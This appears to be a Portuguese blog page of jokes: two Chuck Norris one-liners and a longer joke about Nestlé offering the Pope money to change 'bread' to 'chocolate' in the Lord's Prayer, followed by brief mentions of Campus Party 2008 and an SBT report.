98 - Chuck Norris não poderia participar do "Big Brother". Ele eliminaria
todos os participantes ainda no hotel.

100 - Chuck Norris quis que a 100ª "verdade indubitável" sobre ele viesse
depois da 98ª.

Piada: Proposta...

A Nestlé solicitou uma reunião com o Papa no Vaticano.
Após receber a bênção do mesmo, o representante cochichou:
- Vossa Santidade, nós temos uma oferta. A Nestlé está disposta a
doar US$ 50 milhões à Igreja se Vossa Santidade mudar a frase da
oração Pai Nosso, de "o pão nosso de cada dia nos dai hoje" para "o
chocolate nosso de cada dia nos dai hoje".
O Papa responde:
- Isto é impossível. A oração é a palavra do Senhor e não pode ser
mudada.
- Bem, diz o homem, nós já prevíamos sua relutância e, por isso, nós
aumentamos a oferta para US$ 100 milhões.
Tudo o que pedimos é que se mude a frase de pão para chocolate.
Novamente o Papa responde:
- Isto, meu filho, é impossível. A prece é a palavra de Deus e não
pode ser mudada.
Finalmente, o homem da Nestlé diz:
- Vossa Santidade, nós da Nestlé respeitamos vossa fé, mas nós
temos uma oferta final: doaremos US$ 500 milhões para a Igreja Católica,
simplesmente se a frase "o pão nosso de cada dia" for mudada para
"o chocolate nosso de cada dia".
Por favor, pense nisso.
No dia seguinte, o Papa convoca o Colégio dos Cardeais e diz:
- Tenho 2 notícias para dar: um má e a outra boa.
A boa notícia é que a Igreja vai receber uma doação de US$ 500
milhões.
- E a má notícia, Santidade? - pergunta um dos cardeais.
Responde o Papa:
- Nós vamos rescindir o contrato com a Pullman...

Campus Party 2008

Campus Party 2008

Reportagem SBT - 13/02/2008

Lailenha